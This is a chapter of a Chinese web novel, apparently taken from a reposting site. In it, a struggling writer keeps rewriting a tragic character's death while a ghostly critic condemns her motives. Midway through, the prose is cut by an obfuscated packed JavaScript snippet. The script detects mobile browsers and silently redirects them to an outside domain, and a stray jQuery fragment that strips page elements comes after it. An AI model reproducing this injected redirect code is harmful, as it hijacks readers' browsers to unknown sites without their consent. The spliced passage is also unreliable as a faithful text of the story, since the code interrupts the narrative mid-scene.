室友要考CPA,比她更需要大一点的桌子。她把电脑搬到床上,撑开可折叠小桌子,开始埋头码字。
这次写的慢了些。
没那么顺了。
或者说,卡文得要死!
得考虑各种场景:
如果还没出发就遇伏呢?
如果离地出发时遇伏呢?
如果抵达落地时遇伏呢?
单人暗算?
围攻?
想了很多,愣是没想好哪种死法更合理。
她写得头晕,感觉脑子里有很多相互缠绕的毛线球,是因为脑子超负荷运转吗?
要不就写御剑飞行时遇到凶兽被杀吧。
行!
写完,检查了一遍,想看看有啥错漏不。检查完纳闷:飞行时会遇到凶兽攻击吗?
飞行时在高空遇到的,只可能是会飞的。
可凶兽会飞吗?
一般不都说飞禽走兽吗,展翅在空中飞的是禽类,撒腿在地上奔走的是兽类吧?
要这么说的话,飞行时不会遇到凶兽。
她又写bug了?
渐渐地,写作变成了学习。
学语文。
学生物。
她打开百度查了一下,兽通常指的是四足、全身长毛的哺乳动物,地上跑的那种。
她又找的了很多类似的词句。
鸟闻之而飞,兽闻之而走。
鸟不及飞,兽不及走。
鸟有并翼飞,兽有比肩行。
鸟排虚而飞,兽蹠实而走。
看样子,正常来说,兽一般指的是不会飞的。
飞兽这种设定倒是也有。
幻想类文学有。
她开始纠结。
要不要改?
改成凶禽,听起来不够凶啊!
她是个作者,是个创作者,可以自由的创作,可以尽情地发挥想象力。脑子想到会飞的兽,就写会飞的兽,铁定也没毛病。
可万一误导别人混淆一些常识咋办?
创作自由的边界是啥?
她突然笑了一下。
她这也太内耗了!
咋就能扯到这种听起来就不可能想明白的事上。
打住打住!
快别想了!
她继续改文。
这次改更慢。
第4版写完的时候,她检查的时间更长了。这次写旧疾复发死亡。
她开始想,在前文中有提过这个角色的旧疾吗?
好像没有?
不,不是好像。
是真没有!
那是不是得埋个啥伏笔啊。
可埋哪?
她又开始看前面写的,找了半天也没找到合适的位置塞伏笔,更惆怅了。
她劝说自己:要不别管埋伏笔,回收伏笔的事儿了,就硬写。
她是作者。
她说角色有病就是有病。
她说病能致死就能致死。
她可是作者呐!
她说了算!
这也算是一种留白吧?
嗯!
她看了眼时间,已经很晚了,该睡觉了。合上电脑,抱着它离开卧室,穿过门外的走廊,走到楼梯间,找了个台阶,铺上垫子坐下。
她东张西望,没看到黑影。
楼道太暗了,她抬脚敲了敲台阶,灯亮了。
她还是没看见它。
她:“喂?”
她:“你在吗?”
她的头旋成各种角度,搜寻着它的踪迹。
她向来很怂,怕这怕那,可现在却十分想撞见鬼!
找了很久,她失望地抱着电脑起身,正准备抽出垫子时,楼梯拐角处的站台上出现了一道身影。
是它!
她激动坏了!
挥了挥手:“hi,我写完了,你要不要看一眼?”
她想听听它的想法。
它无声地飘到她身边,站定。她把垫子挪到它的身后,自己蹲着,递过去电脑。
她:“我改了这个角色的结局。”
它坐了下来,几个眨眼间,就看完了:“我说你没病吧。一个时辰前,写死了田渔歌,现在又写死了她,改来改去,不都是死?你改了个屁的结局!”
她:“我是改了结局啊。”
你是不是看太快了?
没看清?
她缓慢而清晰地强调:“我改了,死,法。”
它冷哼了一声。
冷哼是什么意思?很反感很不满吗?可之前这种情况,它会删文的,这次咋不删了?
说实话,她有点期待它删文。
因为她备!份!了!
她为自己的机智而窃喜。
有点想看到它吃瘪!
她主动问:“你是不是想删文?”
它:“我删你大爷!”
她:“你咋又骂人?”
它:“瞧你那小人得意的丑样,肯定已经提前做好了防范,我删有用吗?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279235|182476||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她一下子被拆穿,有点尴尬。
嘴上忽然就生了胶。
它:“你为什么一定要把田渔歌写死才肯罢休!”
她:“因为大纲就是这么定的。”
她是完全按照大纲来的。
它:“滚蛋!我问的是根本原因!不是这种浮于表面的原因。大纲难道是我掰开你的嘴,强行喂到你嘴里的吗?不都是你自己用你那被污水淹过的脑子想的吗?”
它质问:“所以你究竟为什么想这么做!”
她为啥想写死这个角色呢?
因为人设就是悲情。
为啥会是这种人设?
其实很好想:“这样会显得她很可怜。”
能得到读者的深切同情!
能赚读者的眼泪!
它又冷哼了一声。
它抢过她的手机,打开浏览器,在搜索栏啪啪一顿输入。映入她眼帘的是,各种恐怖血腥的凶杀案!
碎尸的!持刀猛砍无辜者的!面容狰狞地剖出粘连的内脏!
失智杀红了眼!侵害幼女的!
她没胆看太多,惊恐地移开了目光。
它的鬼手,跟铁钳似的,掰过她的脸,逼得她直视:“睁大你的狗眼看清楚!看清楚这些杀人犯,看清楚他们犯下的诸多恶行。”
她:“看这个干啥?”
她怕啊!
它:“你不觉得,他们都没你恶吗?”
她:“这咋可能?”
她是守法良民!
她是好市民!
她是好青年!
它的声音几乎要震碎她的耳膜:“他们罪大恶极、作奸犯科、穷凶极恶、十恶不赦、凶残恶劣、令人发指、泯灭良知、恶贯满盈、藐视王法、践踏人命、为非作歹、恶贯满盈、大奸大恶、禽兽不如、死有余辜。但!!!”
它:“他们没有一个人,会因为想让别人看起来可怜,而千方百计地杀掉她!”
她惊慌失措。
跌坐在不知道被多少人踩过的台阶上。
她震撼于它的指责,很想张嘴自证。
却欲辩无言!
她真的这么坏吗?
这怎么可能!
它消失了。
和之前消失的一样快。可是这次有些不一样,她看见它喉咙明显动了一下,似是在吞咽痛苦。
它很难过吗?
可为什么?
明明是它在谴责她啊。
明明难受的是她啊。